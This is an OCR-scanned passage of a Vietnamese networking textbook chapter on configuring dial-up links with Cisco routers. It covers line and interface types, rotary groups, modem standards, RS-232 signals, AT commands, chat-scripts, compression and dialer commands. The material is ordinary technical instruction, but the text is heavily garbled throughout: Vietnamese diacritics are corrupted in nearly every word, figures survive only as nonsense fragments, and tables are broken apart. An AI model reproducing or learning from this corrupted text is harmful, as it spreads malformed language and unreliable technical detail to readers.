phuang phap ndi két trong d6 ngudi st dung phai quay sé (dial) t6i s6 cta dich ma ngudi
d6 mudn két ndi. Hai méi trudng hd trg cho dial-up 1a PSTN va ISDN (Mang dién thoai
cdng cdng va mang tich hgp dich vu sd).

Dial-up c6 thé gitp k&t ndi mét ngusi dung & xa vao hé théng LAN, két nai LAN-to-LAN
hay dung lam dudng backup cho cac dudng lién két leased line, X25 hay Frame Relay.
Dial-up 1a phuang phap k&t ndi cé chi phi thap va tién dung, c6 thé thyc hién moi lic, moi
noi. Nhugc diém cula dial-up la téc do va do tin cay khdng cao nhu céac cong nghé khéc.
Phuong phéap Dial-up hién nay thudng dua vao giao thuc truyén théng PPP (point-to-
point protocol).

5.1.2 Cac trudng hgp st dung Dial-up

o Router-router Dial-up

Trudng hgp nay dung khi hai hé théng mang LAN két ndi véi nhau. Trong thuc té trudng
hgp nay thudng dudc sl dung cho viéc ndi két lién lac gilia cac chi nhanh cla cing mot
cong ty khi cac chi nhanh nay dugc dat 6 cac khu vuc khac nhau, trong khi khdong cé
diéu kién lap dat cac lién két riéng hay nhu cau chuyén tai dii liéu trén k&t ndi khéng cao,
khéng thudng xuyén.

Pé 2 LAN k&t néi dugc véi nhau bang phuong phap Dial-up dung router thi mdi LAN phai
c6 mét router ndi v6i mdt modem. Hai modem clia 2 LAN nay théng qua mot méi trudng
truyén thong (mang dién thoai hay ISDN) dé két néi v6i nhau.

Hinh sau mo ta 2 router 1 va 2 lién lac véi nhau qua 2 modem

Router 2 modem modem Router 1

Mote: Router 2 is calling Router 1

Hinh 5.1: router-to-router dial-up.
¢ Remote user-Central Dial-up

Mot vi du dung trudng hgp nay trén thuc t€ la cac nhan vién truy cap vao mang cla cong
ty khi nhan vién khang thé truc ti€p & cong ty vi cac ly do nhu di cdng tac hoac lam viéc
tai nha.
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Vi du khéc la viéc truy cap internet bang dial-up, khi d6 cac user sii dung mdem dé dial-
up vao hé théng mang clia ISP trudc khi cé thé truy cap vao internet théng qua ISP dé.

P& mot ngudi dung cé thé truy cap dugc mot hé théng mang LAN bang dial-up thi may
tinh clia ngudi dung can phai két ndi véi modem, va router cla mang LAN ma ngudi
dung truy cap vao ciing dugc gan it nhat 1 modem. (xem hinh vé)

Asyne Central site

Wﬁ’fﬁm
J o
r— 7 o 7 “;TJ

<
Windowes 95 PG ladern

Emall office

Hinh 5.2: remote user-to-router dial-up.
e Back-up bang duéng Dial-up

Hai hé théng mang LAN két ndi véi nhau théng qua céac lién két synchronous (leased
line, Frame Relay, X25..) c6 thé dung giai phap Back-up bang dial-up lam giai phap du
phong trong trudng hop lién két chinh gép su co.

Hinh duéi day mé phéng mot mo hinh véi dudng dial-up lam back-up

ISDN
17216200024 4 L 1728202124
o
1./ RN
BO .7~ B0
s N
A ™
s .
- -
- -
L ~
0111024 | EO EO | 192168101 )24
Frame Relay
[ A— L %sp
192 168154 1 192 168154 2
Montecito Goleta

Hinh 5.3: backup dung dial-up

Trong céc phan trinh bay sau, ching tdi sé trinh bay cach cdu hinh Cisco router cho cac
trudng hgp cu thé.

O R
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5.2 Cac khai niém can biét trong Dial-up

5.2.1 Analog

La mot dang tin hiéu dién lién tuc, cé gia tri bién thién trong khoang 0 >1 hay -1 > 1
(trong d6 1 tugng trung cho cac gia tri dién thé khac nhau déi vdi tting loai tin hiéu) . Tin
hién nay khac vai tin hiéu sé (chicé 2 gia trila 0 va 1).

Hinh sau la dang cUa tin hiéu s6 :

A

v

Hinh 5.4: tin hiéu digital
Va hinh sau la dang cia mét tin hiéu analog :

A

A,
N

Hinh 5.5: tin hiéu analog

5.2.2 Asynchronous

Truyén bat dong bd (asynchronous) khéng st dung xung déong ho dé dong bd qué trinh
truyén nhan. Noi cach khac truyén bat déng bd khdng c6 kha nang thay déi téc do cla
dudng k&t néi dé phu hop véi trang thai clia két néi dé. Trong két ndi bat dong bd khéng
hé cé cac bit dugc truyén khi lién két dang trong trang thai idle. VGi cach truyén bat dong
bd cac goi tin dugc déng géi thém vao dé cac bit diéu khién (goi 1a start bit va stop bit)
dé nhan biét diém b&t dau va két thac cla géi tin.

Mat gai tin trong truyén bat dong bd sé cé dang sau :

Stopbit | B7 | B6 | B5 | B4 | B3 | B2 | B1 | BO | startbit >

Hinh 5.6

5.2.3 Line

Line trong khai niém cla Cisco chi mot lién két két néi vao router théng qua mét
interface nao do cla Cisco router. Cisco chia ra 4 loai line: console, auxiliary,
asynchronous, va virtual terminal lines dugc trinh bay nhu bang sau:
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Loai Line Interface M6 ta Luat danh sé thi tu
CON Console S dung mot cach méac dinh Line O.
(CTY) cho viéc log in vao router dé
cdu hinh.
AUX Aucxiliary Céng RS-232 DTE dudc sl Sé line TTY cudi tri cho 1.

dung nhu mét céng bat déng
bd du phong (TTY). Céng
auxiliary khéng dugc xem nhu
console port thir 2.

TTY Asynchronous | La cng bat dong bo. Bugc st | Khoang gia tri dung dé danh sé& I6n.
dung mot cach mac dinh cho | S6 line TTY tudng duong véi so lugng
cac phién két ndi bang cach clia cac modem (trong trudng hgp
quay s6 cla cac node & xa khi | modem dudgc tich hgp san) hoac 1a s6
cac phién két ndi nay dung ligng cac cng bat dong bd dugc hd
giao thiic nhu la SLIP, PPP, trg bdi router.

ARA, va XRemote.

VTY Virtual Budgc s dung cho mot phién S8 line TTY cudi tri cho 2.
asynchronous | ndi két vao bang Telnet, LAT,
X.25 PAD, va céac giao thtic két
ndi vao céng dong bo trén
router (nhu la ethernet port va
serial).

Béng 5.1: cdc dang line cda Cisco.

Router khac nhau cé sé lugng cac line khac nhau. Hinh sau chi ra luat danh sé thi tu
line clia Cisco
n: 1a sé thi tu cla line

m:la so thi ty cla vty line.

con line =0

ity i line = n

aux line =last_tty + 1

vy 17 line =last_tty + 2+ m

Hinh 5.7: quy tac danh sé cac dudng line.
D&i v6i cac router cé céc slot (modular router) va trén slot cé nhiéu céng ta co:
n = (32 x slot number) + unit number + 1
Vi du:

Doi vai router khdng co slot (fixed configuration router) nhu router 2509 (02 serial, 08
async, 01 console va 01 aux port):
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Line 0 danh cho Console, line 1 dén 8 la nhiing line TTY, line 9 1a Auxiliary port, va line
10 dén 14 la nhiing line VTY t& 0 dén 4.

D&i véi router 3640 04 slot va mot module gobm 16 cdng Async gan vao slot thi 3 (sé slot
va cbng danh tu 0 tré di) cac cdng async tudng Ung véi cac line ti 97 dén 112 vi

Céng dau tién (port 0):n= 32x3 + 0+ 1 =97

Céng cudi cung (port 15): n =32x3 + 15 + 1 = 112,

S6 thu ty line sé lién quan dén viéc cau hinh line dugc trinh bay trong cac phan sau:
5.2.4 Interface

Cac interface dung cho dial-up ¢6 3 dang chu yéu sau

e Asynchronous Interface: dang cé ban ban dau cla interface dung cho dial-up. Cau
hinh async interface la xac dinh cac dac diém vé cac protocol cho cac két néi ti xa
(c6 thé la remote PC hay remote router).

Asynchronous interlace

Containg cose protoesl
characieristics for
INCOMING asyne

S clients S
.\ Lirsa 1
| M:
Modem | EEEEERP 2 PSTNISDN
e . . ___f'
Modam
Ramata PC
negofiating parameters
wilh the asynchronous 3
riterface ¥

Hinh 5.8: Async Interface.

e Group Asynchronous Interface: Dang nay bao gdm mdt nhém céac async interface vat
ly thanh vién, dugc si dung dé don gian héa viéc cau hinh router: cdu hinh cla
group thuc hién tuong ty nhu cdu hinh mdt async interface riéng 1é va céu hinh do sé
dugc ty dong phan bd cho céac interface thanh vién.
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Hinh 5.9: Group async Interface.

Virtual Template Interface: La dang interface ao thudng dung trong céc dialer

interface, cdu hinh multi-link, VPN. Thanh vién cua virtual interface cé thé la async
interface hay group async interface.
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Hinh 5.10: Virtual Dialer Interface

Trong phan trinh bay nay chung t6i chi dé cap dén dialer interface (hinh 5.11), thudng
dugc cau hinh khi cé yéu cau st dung dial-on-demand t6i nhiéu dich va can nhan cudc
goi tii nhiéu ngudn khac nhau. Khi dé mot interface 4o sé dugc tao ra, dai dién cho tat ca
cac interface vat ly la thanh vién clia n6. Khi cé yéu cau quay sé hay nhan cudc goi, né
sé& ty dong s dung céac interface thanh vién nao t6i uu nhat dé dam nhan cong viéc.
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Hinh 5.11: Dialer Interface.
Dialer interface di déi vai khai niém rotary-group sé& dugc trinh bay & phan sau.

5.2.5 Quan hé gitia Line va Interface

e Asynchronous Interfaces va TTY Lines

Physical terminal (TTY) lines cung cép viéc truy cap bang cach ndi vao cac async
interface. Nhiing dong lénh dudc thuc hién trén async interface cho phép cdu hinh cac
théng s6 cho async interfaces nhu protocol, authentication, encapsulation..; con nhiing
dong lénh thuc hién trong ché dé c4u hinh line cho phép cdu hinh nhiing thong sé cho
line nhu speed, s6 lugng startbit, stopbit, loai modem si dung.. N6i cach khac ciu hinh
line thiét Iap dudng truyén vat ly con céu hinh async interface thiét 1ap cach s dung
dudng truyén vat ly do cho cac két ndi async.

e Interfaces and VTY Lines

Virtual terminal (VTY) lines cho phép viéc truy cap vao router thdng qua cac phién noi
két Telnet. VTY lines khdng nai tryc ti€p vao céac interfaces nhu cach TTY ndi vao
asynchronous interface ma la cac két ndi “40” vao router thong qua dia chi cla ethernet
port (interface ethernet). Router tao nhiing VTY lines mdt cach linh ddng, trong khi dé
TTY lines la chi ndi k&t vao nhiing céng vat ly. Khi ngudi dung két ndi vao router bang
VTY line, ngudi dung dé dang két néi vao mét céng 4o trén interface.

Mot phién két néi bang Telnet c6 thé dugc thuc hién trén moét lién k&t bat ky véi router
thdng qua céng Ethernet, synchronous ho&c asychronuos interface.

e Asynchronous Interfaces—Line Numbering
S8 thi tu chia mét interface dugc tinh toan nhu sau:
Interface number = (32 x slot number) + unit number + 1

Vi du : Asynchronous interface12 & slot 1 sé dugc xem la interface s6 : (32 x 1) + 12 + 1
= 45, S6 nay ciing la s6 thi tu cla line trén cdng.

5.2.6 Khai niém Rotary group

Theo ly thuyét, khi ngudi dung két ndi dén hay khi hé thdng mudn truyén di liéu dén
ngudi dung thi két ndi d6 can c6 02 modem: 01 G phia két ndi va 01 & phia dudc truy cap.
Trong méi trudng cé nhidu ngudi dung két ndi va néu médi ngudi dung mudn giao tiép
phai gén vao mét modem, chiém mot interface va mat line thi dan dén hé théng phai co
rat nhiéu line va nhiéu interface. Do ban chat cla mé hinh dial-up 1a dial-on-demand, céac
lién k&t bAng modem la khéng thudng xuyén va khdng kéo dai vi vay viéc sl dung mbi
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modem cho mét user 1a khong can thiét. D& tan dung dudc t8i da cong suét clia cac
dudng truyén, giam bdéi chi phi, ngudi ta c6 thé st dung chung moét sé line (interface) cho
tat ca cac két ndi. (Vi du nhu 3 line (03 async interface, 03 modem) c6 thé dudc st dung
chung cho 10 két ndi). Khi c6 nhu cau quay s6 ra (dial-out) router sé& ty ddng chon céac
dudng k&t ndi con ranh dé thuc hién két néi. Bay chinh la muc dich cla rotary-group.

Vai interface vat ly tich hgp thanh mot dialer interface(xem phan trén dé biét dialer
interface) dugc goi la rotary group. Mot rotery group hanh ddong nhu mét interface théng
thudng trong két ndi dial-up. Khi cé yéu cau gui dii liéu, rotary group s& phan bd két ndi
line dé vao céac interface thanh vién nao ranh.

Trong hinh 5.11 cac interface S0:0, S0:1, S0:2, S0:3 dugc nhom lai thanh 1 rotary group,
khi c6 yéu cau rotary group ti€p nhan cac yéu cau gui di liéu nhu mét dialer interface va
phan bd vao cac interface con ranh.

DR
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5.3 Modem

Trong phan trinh bay nay chung t6i gi6i thiéu cac khai niém cg ban vé modem, thanh
phan quan trong khong thé thiéu trong két néi dial-up.

5.3.1 Modem la gi?

Céc dii liéu trong may tinh la cac tin hiéu s6 (digital) trong khi cac tin hiéu trén dudng
truyén dial-up 1a tin hiéu dang analog. Do d6, phai st dung mot thiét bi dé chuyén déi
qua lai cac dang tin hiéu. Thiét bi d6 chinh la modem.

Modem la tu viét tat cta “modulator-demodulator” | thiét bi ma hoa va giai ma cac xung
dién, c6 nhiém vu chuyén déi tin hiéu analog sang digital va ngudc lai.

fizda

Crigital ‘ Analog Cigital Analog | Cigital
[—FiZ l-2ncoded analog dae—e

Hinh 5.12: mé hinh va cac loai két néi cia modem

Nhu trong hinh 5.12 tin hiéu s& ti may tinh s& qua modem, chuyén thanh tin hiéu analog
va di dén cac bd phan chuyén mach cta Buu dién, tin hiéu gilia cac téng dai la céc tin
hiéu digital nhan dugc ti cac bién diéu PCM cla cac tin hiéu analog. 3 dau bén nhan,
tin hiéu dugc chuyén déi theo chiéu ngudgc lai PCM - analog - digital dé di vao may
tinh nhan.

RS-232 |a chuén giao tiép gilia modem va thiét bi cudi (PC). Phan tai liéu nay khong dé
cap chi tiét dén cac dac tinh clia chudn nay ma sé trinh bay so lugc vé vai trd cia mot s
chan cam va tin hiéu diéu khién lién quan dén modem & phan sau.

Trong hé théng mang dial-up, modem dong vai tro 1a DCE (Data Communication
Equipment), DTE (Data Terminal Equipment) la cac may tinh clla ngudi dung & xa hay
cac router..

Hinh 5.13 cho thdy mé hinh giao ti€p DTE-DCE trong két ndi dial-up .

5.3.2 Phan loai modem

C6 nhiéu cach phan loai modem trong dé cach phan loai vé cach bién diéu di liéu va téc
ddé modem la thudng dung nhat. Cac chuén bién diéu sé quyét dinh tc do truyén clua
modem.
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Hinh 5.13: két néi DTE-DCE trong lién két dial-up.

Cé hai hé théng tiéu chuén vé céch bién diéu cia modem. Hé théng tiéu chuan dau tién
la ctia ITU-T, t8 chuc tiéu chudn quéc t&. Con hé théng tiéu chuén thi hai dugc phat
trién bdi cac nha san xuat modem. Hién nay céc tiéu chuan nay dan dan tré thanh ddng
nh&t v6i nhau va chudn méi nhat la chuén V90 véi téc do truyén t8i da (khdng nén) Ién
téi 56Kbps.

Chuén ITU u Cac chuén khéc

V.22: 1200 Bps V.32 terbo: 19.2 Kbps

V.22 bis: 2400 Bps V.fast: 28.8 Kbps

V.32: 9600 Bps V.FC: 28.8 Kbps

V.32 bis: 14.4 Kbps K56Flex: 56 Kbps

V.34: 28.8 Kbps X2: 56 Kbps

V.34 annex 1201H: 33.6
Kbps

V.90: 56 Kbps

Béng 5.2. Céc chuan clia modem.
D{ liéu ti DTE dén modem sé& dugc modem nén lai va gui 1én dudng truyén. Toc do di
liéu dén va téc do trén dudng truyén 1a khac nhau tuy vao muc dd nén di liéu cua
modem. Ti 1é nén hién nay c6 thé dat t6i 4:1 véi chuan nén V42 bis.

4:1
SamprEssion

4:1
Campression
=tio

:*—WD s ool =

DTE

A
L

[ S 28.8 kbps

115.2 kbps 1162 kbps

Hinh 5.14: méi tuong quan gida téc dé va hé sé nén
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Vi du trong hinh 5.10 cho thay t&c do khi di liéu truyén ti DTE dén modem la
115.2kbps, qua modem vd&i dd nén 4:1 mac du di liéu truyén trén dudng truyén vdi téc
dd 28.8kbps.

Hinh sau cho thdy nhiing t&c dd dudng truyén trén ly thuyét theo chuan ctia modem va
tdc dé trén dudng truyén sau khi qua modem véi do nén 4:1

Macinm speed with 4:1
W42 his GOMMPression

224000 |

Speed

Wan

Woad 115200 |

W32 '
torbo FHE00

WS Aie a7 a00 |
Voo 38400'

bps

Hinh 5.15: Cdc chudn bién diéu va téc do két néi téi da clia modem.

5.3.3 Universal Asynchronous Receiver/Transmitter (UART)

Nhu phan trén ta thay véi chudn V90 va chudn nén V42 bis, két ndi DTE-modemco thé
dat dudc toc do téi da 224000bps. Tuy nhién trong may tinh (DTE) ta chi thay téc do toi
da la 115200bps. Téc dd truyén dugc gidi han bdi loai UART diéu khién truyén théng qua
RS-232 ciia PC. UART la mét thanh phan clia PC c6 trach nhiém t6 chuc, sap x&p céc
hoat dong théng tin dugc truyén bat dong bo trén serial port. Do dé sé& quan ly tdc dd
truyén trén modem external (vi modem external két ndi v6i may tinh qua serial port).
Cac modem internal c6 mdt UART riéng trong modem.

Hinh sau cho thay vi tri cGa mét UART :

Terminal ngudn Terminal dich

PSTN/

% < c [ 5>
=8y > SN
6) 0)’ x /I o000 ISDN 0000 g (o'l:
c> - Modem Modem 05

Hinh 5.16: vai tro va vi tri cda UART.

UARTSs dugc diéu khién bdi nhip déng ho véi tdc do 1.84 MHz va cé téc do truyén di liéu
cao nhat 1a 115 Kbps. UARTs c6 mét buffer dé tam thdi Iuu nhiing dii liéu dén. Buffer
nay khac nhau & cac loai modem khac nhau, nhung thong thudng buffer nay co kich
thudc nhé.

Céac loai UART: 16C450

16450

16550 cé 16-byte buffer
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16550af

16750 sU dung 64-byte transmit buffer va 56-byte receive buffer

Bang 5.3: Céc loai UART.

5.3.4 Hoat déng cia modem

Hinh sau mo ta hoat déng clia modem :

v’

oy

T=D F=D
—_— —_—
-— Buffer Flowwr cortiol Euffer .

CTS i \L ATS

) Compress
Opticn | Cormpressor Decormpress Cotmpressot
. ) Checksum i
Opticn— Packetizer Fietranzrrit Packetzer
Medulzter! . MeduladerS
dermedulator T demsdulater

Hinh 5.17: cac budc hoat déng clia modem.
e Diiliéu can gui ti DTE di dén modem qua dudng TxD.

e N&u modem buffer gan tran, modem sé& diéu khién ludng dii liéu bang cach dét tin
hiéu CTS (clear to send) xuéng thdp, DTE khi d6 s& khéng s dung dugc dudng
TxD.

e D liéu dugc nén bang thuat toan phu hgp (MNP 5 hay V.42bis)
e D liéu sau do6 dugc phan méanh, thuc hién viéc windowing, check sum, error control.
e Diiliéu s8 dugc chuyén sang tin hiéu analog va gli ra mang dién thoai.

Khi dii liéu tSi dau nhan, cac budc trén dugc thuc hién véi chiéu ngudgc lai. Trong dé hai
tin hiéu RTS (request to send) va RxD dugc s dung thay cho CTS va TxD.

5.3.5 Cach két ndi Router Cisco va modem

Bang sau cho biét cac dau cdm va cac cable can thiét dé két néi modem va cisco router:

Router

Pau noi Loai cap.
port

DB-25 Male DB-25 AUX trén Straight-through DB-25F -- DB25M RS-232

Cisco 4000, 7000,

DTE cable.

7200, and 7500.
DB-25 Female DB-25 console Null-modem DB-25M -- DB25M RS232 cable.
DCE port trén Cisco 4000 va| rolled RJ-45--RJ-45 va CAB-25AS-MMOD

7000 series. adapter.
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DB-60 Sync/async interfaces. Cisco-specific cable: CAB-232MT(=).
Cisco 1005, 1600 va

2500; network module
trén Cisco 2600, 3600,

and 4000.

RJ-45 AUX hay CON on the Rolled RJ-45--RJ-45 cable va adapter c6 ghi
Cisco 2500, 2600, "MODEM" (part number CAB-25AS-MMOD).
3600, AS5200 va
AS5300.

68-pin Cisco 2509-2512; CAB-OCTAL-ASYNC(=) (c6 danh dau
network module trén "MODEM") va CAB-OCTAL-MODEM(=).

Cisco 2600 va 3600.

WAN interface card
(WIC) trén 1720 va CAB-SS-232MT(=).
2600s.

"Smart
Serial"

Béng 5.4: Céc loai cdp ndi router va modem.
Pau cdm vao modem theo chuén EIA/TIA RS-232 gom 25 chan cam (pin), nhung chi c6
8 chan la tham gia vao qua trinh két ndi DCE-DTE. 8 chan nay phan ra lam 3 nhom :
e Data transfer group
e Hardware flow control group

e Modem control group

OTE
B -
Data T=D » T=D
transier FixD - RxD
Ground GRD * GROD
. .
Hafrlg‘ffre RTS » RTS
ool TS - TS
. .
Maoderm CTR - OTH
control D -« O
=1 -+ D=R
A " .

LB-25 pins

Hinh 5.18: Cdc nhém chén tin hiéu cia modem.

Bang sau gidi thich chi tiét cac tin hiéu cla 8 pin tham gia vao qua trinh ndi két DTE:
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Tin hiéu Mo ta

TxD Transmit Data. DTE chuyén dii liéu dén DCE.

RxD Receive Data. The DTE nhan di liéu ti DCE.

GRD Ground (pin 7). Cung cap mdic dién th& chuéan.

RTS Request To Send. DTE c¢6 buffer s&n sang dé chia nhiing di liéu dén ti DCE.
Tin hiéu nay dung cho may tinh hoac router bao cho modem trudc khi dii liéu
dugc gui.

CTS Clear To Send. DCE c6 buffer s&n sang dé 14y di liéu tu DTE. Tin hiéu nay do
modem bdo cho may tinh khi modem gui di liéu.

DTR Data terminal ready. Tin hiéu nay diéu khién diéu khién béi DTE. DTE béo cho
DCE la thiét bi (may tinh hodc router) da connect va sin sang dé nhan data.

CD Carrier Detect. Tin hiéu nay dudc diéu khién bdi DCE, chi ra rang da thiét lap
tin hiéu séng mang véi DCE & xa (DCE-to-DCE connection).

DSR Data Set Ready (pin 6). DCE s&n sang dé si dung. Pin nay khéng dugc dung

rong két ndi modem. DSR hoat déng ngay khi modem dugc bat Ién.

Bang 5.5: cdc chdn tin hiéu cua modem.

5.3.6 CAau hinh modem

Trong méi loai modem bao gém s&n mot tap 1&énh dé c&u hinh va diéu khién modem. Cac
lénh nay thudng dudc goi la cac 1énh AT va cé thé khac nhau déi vdi tiing loai modem.
Tuy nhién moét s6 1énh dudc trinh bay & bang sau la cac 1énh chuén, c6 thé st dung cho
bat ky loai modem nao:

Lénh AT Mo ta

ATS$

HELP, Command Quick Reference (CTRL-S to Stop, CTRL-C to Cancel)
<output omitted>

AT&S HELP, Ampersand Commands (CTRL-S to Stop, HELP, Ampersand
Commands (CTRL-S to Stop, CTRL-C to Cancel) <output omitted>
ATS$ HELP, S Register Functions (CTRL-S to Stop, HELP, S Register
Functions (CTRL-S to Stop, CTRL-C to Cancel) <output omitted>
AT&F1 C4&u hinh Hardware Flow Control
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Lénh AT Mo ta
ATSO0=1 Auto-Answer on first ring
AT&CH1 Modem Controls CD
AT&D2 DTE Controls DTR
AT&H1 CTS
AT&R2 RX to DTE/RTS high
AT&M4 ARQ/Normal Mode
AT&B1 Fixed DTE Speed
AT&K1 Ty dédng nén di liéu
AT&WO Luu c&u hinh vao Template 0
ATI4 Trinh bay c&u hinh cia modem da thiét lap

Bang 5.6 Cac lénh AT théng dung.

Ta c6 thé sl dung truc tiép cac l1énh nay trong Hyper Terminal dé cau hinh modem (Vi
du nhu dinh ché& do auto answer, dinh sd stop bit.. Tuy nhién khi c4u hinh Cicso router,
ta c6 thé sl dung 02 céach sau:

e C4&u hinh bang tay (manual configuration) : thiét Iap cac théng s8 clia modem bang
cach gb vao tiing lénh. Cac lIénh nay sé& dugc dé cap trong phan c4u hinh line.

e Cé&u hinh ty ddng (automatic configuration) : cho modem ty dong kiém tra loai
modem va gan cac thdng sé thich hgp. Lénh nay sé dugc dé cép trong phan cau

hinh line.

SR
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5.4 Cau hinh tdng quan cho dudng Dial-up

Pé cau hinh dial-up, phai thyc hién cac coéng viéc sau:

Cdng viéc

Mo ta cong viéc

Thiét 1ap cac thdng s6 cd ban cla hé théng

Dat tén host, thiét 1ap cac dich vy nhu service
timestamps debug uptime, Service timestamps
log uptime, service password-encryption..

M6 ta username va password

Tén va password cla router hodc ngudi dung két
ndi dén.

C4u hinh céc chat script

Xéc dinh céc thong s6 dé khai tao dusng truyén:
khdi tao modem va mot s6 thong s khac.

Cau hinh cho cac interface

C4u hinh cho ethernet interface, async interface,

async group interface, dialer interface. Céc théng

s6 can c4u hinh la :

- Interesting traffic (c6 thé cdu hinh truc ti€p
hay thong qua access list)

- C&u hinh compression (néu can)

- Cé&u hinh encapsulation (thudng 1a ppp)

- Cac lénh c4u hinh Dialer (dialer in-band,
dialer map...) khi dial-out.

- CA&u hinh authentication

Async interface

Thiét lap cac dac diém cla async interface:
interesting traffic, protocol, encapsulation,
authentication..

Group Async
Interface

Xac dinh tén group

Xac dinh cac théng sé vé interesting traffic ,
protocol, compression, encapsulation,
authentication cho group (tuong ty nhu cdu hinh
cho cac interface riéng ré).

Xac dinh pham vi clia group dé (chi dinh cac
interface thudc group)

Dialer interface

Thudng dung trong viéc quay s6 ra. Bao gém cac
I&énh cdu hinh dialer interface thanh rotary group
va céc lénh tudng ty nhu async interface, group-
async interface. Sau d6 gan cac interface riéng 1é
vao trong rotary-group.

Ethernet interface

C4u hinh dia chi, subnet mask.. cho c¢dnf
ethernet.

Cau hinh line

Line console, line vty, line ndi modem
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Line console Password truy cap line (password can khi truy
cap vao router thdéng qua console port)

Line vty Password truy cap line (password can khi telnet
vao router)

Line cho modem

Cac lénh thiét lap thong s6 cho modem (modem
Inout..)

Cac I&nh c4u hinh line (speed, start-bit, stop-bit,
script...)

Béng 5.7: cdc budc cau hinh dia-up
Céc phan sau sé mo ta lai chi tiét vé& cac cong viéc dé c4u hinh dudng dila-up da dugc
mo ta & trén.
5.4.1 Cac thdng sd cd ban cla hé thdng

Xem céc phan trén dé cau hinh céc service, host.. Cé thé bd qua phan nay (chi can cau
hinh host khi cdu hinh két ndi router-to-router).

5.4.2 Lénh md t4 username va password

Username va password dugc s dung trong qua trinh authentication (sé trinh bay chi tiét
& phan sau). Trong trudng hgp RAS (PC quay s6 bang modem vao router) username va
password & day sé dugc gan cho cac user khi truy cap. Con trong trudng hgp két ndi
router-to-router, username chinh la tén cla router két ndi véi router dang cau hinh va
password dugc chi dinh thong nhat cho ca hai router.

Pé xac dinh username va password ta dung Iénh sau:
Router(config)#username name password password

Luu y: Qua trinh authentication c6 thé su dung cac user database khac nhau: local
database, TACASC+ database hay RADIUS database. Trong ndi dung cla tai liéu nay
chuing toi chi trinh bay qua trinh authentication don gian nhat la dung local database
(chua trong ban than router). Thong thudng mac dinh la router st dung local database.
Ngoai ra c6 thé sl dung Iénh sau dé budc router sii dung local database (tu version 11.2
trg di):

Router(config)#aaa authentication ppp default local

5.4.3 CA4u hinh chat script

Chat-scripts dugc dung dé thuc hién nhiing nhiém vy nhu sau :
e C4u hinh, khdi tao modem

¢ Nhiing dong Iénh dialing va remote login

e Phat hién 16i

Mot dong chat-script 1a mét chudi ki tu dinh nghia sy “bat tay” gilia 2 thiét bi DTE, hoac
gitia DTE va nhiing gi truc ti€p ndi vao n6. C4u tric 1 chat-script nhu sau:

router(config)# script-name expect-string send-string
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Vi du : Cau hinh chat-script cho nhiing nhiém vu sau:

- Khdi dong mot modem.

- Chidan cho modem dial out

- Logging in vao remote system

Chat-script clia nhiing nhiém vu trén dugc mé ta nhu sau:

router(config)# chat-script Reno
ABORT ERROR ABORT BUSY "" "ATZ" OK "ATDT \T"

TIMEOUT 30 CONNECT

Lénh chat-script

Reno

Tén cla chat-script

ABORT ERROR

Dung chat-script néu c6 bat cu 16i nao .

ABORT BUSY Duing chat-script néu dudng dién thoai ban.

“ATZ” Né&u khoéng cé dii liéu vao va khong cé 16i thi glii 1énh ATZ dé
modem khdi déng lai bédng cach dung nhiing profile dugdc luu
trdd.

OK “ATDT\T” Né&u dong input 1a OK thi guii Iénh AT dé chi dinh modem két

ndi bang sé dién thoai trong chudi dialer-string hodc 1énh
start-chat.

TIMEOUT 30 CONNECT

Chd CONNECT trong vong 30 giay. Néu khdng ngat két néi.

\c

B4o hiéu cudi clia dong chat-script.

Béng 5.8: Céc théng sé cla lénh chat-script.

e Modem-script va System-script

Chat-scripts dugc st dung nhu la modem-scripts hoac system-scripts. Modem-scripts
dudc sl dung gitia DTE dén DCE, con system-scripts dugc gli ti DTE dén DTE.

Trong vi du sau, script cé tén Niagara dugdc dung gilia router va modem. Script tén
Gambling dugc dung cho viéc logging gilia router va mot hé thong dich. Script Niagara
dugc dung dé két ndi dén modem:

chat-script Niagara ABORT ERROR "" "AT Z" OK "ATDT \T" TIMEOUT 30 CONNECT \c

chat-script Gambling ABORT invalid TIMEOUT 15

Interface async 5

name: billw word: wewpass ">" "slip default"

dialer map ip 172.16.12.17 modem-script Niagara system-script Gambling 98005551212
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P& khéi ddng chat-script trén mét line dung 1énh start-chat & ché do privileged EXEC:
Router#start-chat regexp [line-number [dialer-string]]

Dong lénh & trén cung cdp mdt Iénh k&t ndi vao modem. D&i s& regexp is dugc dung dé
chi dinh tén clla modem script dugc chay.

5.4.4 CA4u hinh cho Interface

e Cac lénh chung
— Compression

Compression (nén di liéu) 1a mot cach hiéu qua dé tan dung bang théng trong viéc
truyén di liéu trén dudng truyén.

Céc loai compression dudgc hd trg véi Cisco 108 la:

TCP/IP header compression : Dung thuat toan Van Jacobson dé nén header. Phuong
phap nay dugc s dung hiéu qua khi ma goi tin nhd chi bao gom vai byte di liéu (vi du
nhu mot 1énh Telnet)

Payload compression (con goi la per-vitual circuit compression)Nén phan di liéu trong
packet nhung khdng nén phan header.Bdi vi header khéng bi nén lai nén packet c6 thé
chuyén dugc qua cac mang WAN cé dung router.

Link compression (con goi la per-interface compression) : Nén ca phan header va phan
di liéu. Loai nén nay hiiu hiéu trong méi truéng point-to-point.

Header Payload

Uncompressed (default) | | |

Header compression | | |

Payload compression | | |

Link compression | | |

Cac lIénh compression ap dung trén céac interface mode (Router (config-if)#)
o Lénh nén header cla nhiing packet truyén theo TCP:
Router (config-if)# ip tcp header-compression [passive]

o Lénh nén payload cho nhiing giao ti€p point-to-point:
Router (config-if)# frame-relay payload-compress
o CA&u hinh nén cho nhiing lién két LAPB, PPP, HDLC:
Router (config-if) compress [predictor | stacker]
(predictor va stacker la hai thuat toan nén thudng gap cla Cisco router trong

dé thuat toan predictor chiém dung bd nhé nhiéu con thuat toan stacker
chi€ém dung CPU nhiéu hon)

— Encapsulation

Cau lénh:
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Router(config-if)# encapsulation encapsulation-type

Hé thong dial-up thudng s dung giao thiic dong goéi point-to-point. Do d6 encapsulation-

type thudng la ppp:
Router(config-if)# encapsulation ppp

— Cac |énh dialer

Céac lénh dialer c6 thé ap dung cho viéc cdu hinh async interface, group async interface
hay dialer interface dé xac dinh interesting traffice, xac dinh ché do dial-on-demand, xac

dinh cach quay sé..

Lénh

Giai thich

Router(config)#Dialer-list dialer-group protocol
protocol-name [permit | deny | list access-list-number]

Xac dinh interesting traffic: nhiing packet
dugc phép hay bi ti chdi vao interface.

Access-list-number 14 s clia access-list dugc
an dinh trén dialer group interface.

Lénh nay dudc dat trong global configuration
mode.

Router(config-if)#Dialer in-band

Bat ché dé dial-on-demand routing trén
interface

Router(config-if)Dialer-group group-number

Pinh mot group cho interface. group_number
phai trung v6i tham sé dialer-group cla Iénh
dialer-list dugc cdu hinh trong global
configuration mode nhu trén.

Router(config-if)Dialer map protocol next-hop-
